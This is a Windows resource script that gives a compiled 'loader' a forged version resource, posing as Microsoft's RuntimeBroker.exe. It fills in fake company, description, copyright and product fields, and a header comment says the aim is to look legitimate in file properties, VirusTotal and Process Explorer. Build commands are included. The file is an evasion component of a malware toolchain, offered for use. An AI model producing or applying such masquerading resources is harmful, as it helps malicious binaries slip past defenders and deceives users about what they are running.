#include <winver.h>

/*
 * version.rc — PE Version Resource (RuntimeBroker.exe spoof)
 *
 * Makes the compiled loader appear as a legitimate Microsoft binary
 * in file properties / VirusTotal / Process Explorer.
 *
 * Compile: x86_64-w64-mingw32-windres version.rc -o version_res.o
 * Link:    x86_64-w64-mingw32-gcc ... version_res.o
 */

VS_VERSION_INFO VERSIONINFO
FILEVERSION     10,0,22621,1
PRODUCTVERSION  10,0,22621,1
FILEFLAGSMASK   VS_FFI_FILEFLAGSMASK
FILEFLAGS       0x0L
FILEOS          VOS_NT_WINDOWS32
FILETYPE        VFT_APP
FILESUBTYPE     VFT2_UNKNOWN
BEGIN
    BLOCK "StringFileInfo"
    BEGIN
        BLOCK "040904b0"
        BEGIN
            VALUE "CompanyName",      "Microsoft Corporation"
            VALUE "FileDescription",  "Windows Runtime Broker"
            VALUE "FileVersion",      "10.0.22621.1 (WinBuild.160101.0800)"
            VALUE "InternalName",     "RuntimeBroker.exe"
            VALUE "LegalCopyright",   "\251 Microsoft Corporation. All rights reserved."
            VALUE "OriginalFilename", "RuntimeBroker.exe"
            VALUE "ProductName",      "Microsoft\256 Windows\256 Operating System"
            VALUE "ProductVersion",   "10.0.22621.1"
        END
    END
    BLOCK "VarFileInfo"
    BEGIN
        VALUE "Translation", 0x0409, 1200
    END
END